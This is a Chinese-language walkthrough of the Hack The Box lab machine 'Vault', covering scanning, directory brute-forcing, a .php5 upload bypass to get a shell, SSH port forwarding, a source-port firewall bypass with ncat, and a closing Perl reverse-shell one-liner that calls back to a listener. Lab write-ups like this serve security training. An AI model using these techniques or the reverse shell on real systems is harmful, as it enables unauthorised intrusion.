Vault_HTB靶机渗透

前言

知识点:

  1. nmap使用
  2. 目录爆破与FUZZ
  3. nc端口扫描

user.txt

nmap开路,nmap -T4 -sV 10.10.10.109,得知目标开放了22和80端口

1

其中,80端口告知为客户提供网站服务,并且得知有一位客户sparklays

访问10.10.10.109/sparklays,得到403forbidden,猜测需要爆破目录

在kali中,/usr/share/wordlists/目录下有很多自带的字典,对付一般的目录足矣。当然,如果有额外的需求,建议寻找或者制作更加具有针对性的字典
3

这里的爆破工具我用的是gobuster和dirsearch,两者都需要额外下载。做完一遍之后,感觉爆破工具大同小异,重要的是字典足够强大
2
4

在/sparklays/design/design.html页面下点击changelogo会来到/sparklays/desin/changelogo.php页面,这里存在上传文件功能,猜测可能存在文件上传漏洞。
5

禁止上传php文件,简单fuzz后发现存在php5后缀的绕过方式,于是反弹shell。
6
7

在dave用户目录下收获三个有用的信息,其中包括dave机器的ssh登录密码。

1
2
3
4
5
6
7
8
9
$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
$ cat key
itscominghome
$ cat ssh
dave
Dav3therav3123

ssh登录进来,游览了一番,发现没有什么有用的东西,这时候我们把目光转向192.168.122.4DNS服务器

nc端口扫描

nc -zvn 192.168.122.4 1-100

-z : 端口扫描模式即零 I/O 模式。参数用来告诉 nc 报告开放的端口,而不是启动连接。
-v : 显示详细信息 [使用 -vv 来输出更详细的信息]。
-n : 使用纯数字 IP 地址,即不用 DNS 来解析 IP 地址。
-w 1 : 设置超时值设置为1。

可以看到开放22和80端口,这里需要进行本地端口转发访问
8

  1. 第一种 本地端口转发 kali输入ssh -L 8081:192.168.122.4:80 dave@10.10.10.109,浏览器输入localhost:8081即可访问192.168.122.4:80,

  2. 第二种 动态端口转发 kali输入ssh -D 9999 dave@10.10.10.109 -f -N 2>/dev/null,浏览器开启socks5代理,访问192.168.122.4即可

参数解释:
-f 要求 在执行命令前退至后台. 它用于当准备询问口令或密语, 但是用户希望它在后台进行. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令.
-N 不执行远程命令. 用于转发端口. (仅限协议第二版)

9

爆破目录得到notes路径,提示有123.ovpn和script.sh文件。访问123vpn配置文件,修改配置文件
10

在dave@ubuntu上监听,得到root@DNS的shell
11

在dave的home目录下,找到登录DNS的ssh密码和user.txt文件

登录dave@DNS,sudo -l,发现dave可以sudo运行任何命令,于是sudo su果断切换root权限,得到root@DNS的shell

root.txt

由ubuntu机器中的Servers文件可知,Vault服务器ip信息被隐藏,猜测它也是本次靶机渗透的终极目标

但是我们并没有vault的ip,所以接下来寻找ip

  1. 查看.bash_history
    在root和dave并没有发现什么,/home/alex/.bash_history发现ping 192.168.5.2

    grep -r "192.168.5.2" /var/log 发现auth.log中有痕迹
    12

  2. route -n
    在/var/log/中使用find命令查找192.168.5.2
    find /var/log -type f -exec grep -Hina '192.168.5.' {} \;

查看auth.log文件

13

当我们使用nmap扫描192.168.5.2时,不同情况的发生了,

14
加上–source-port选项与否影响扫描的结果,防火墙过滤了源端口非4444和53的连接

我们使用nc探测一下987端口,发现是ssh服务,猜测这应该就是登录vault机器

那么怎么登录呢?解铃还需系铃人,我们使用日志文件中登录的方法

1
2
ncat -l 3333 --sh-exec "ncat -p 4444 192.168.5.2 987" &
ssh dave@localhost -p3333

猜测密码为登录DNS密码,发现成功登录!

15

拿到root.txt.gpg后需要解密,我这里将其base32加密,再在ubuntu机器上解密,输入密钥,成功拿到root.txt

16
17

后话

perl语言shell

1
perl -e 'use Socket;$i="10.10.10.10";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

参考:
https://0xdf.gitlab.io/2019/04/06/htb-vault.html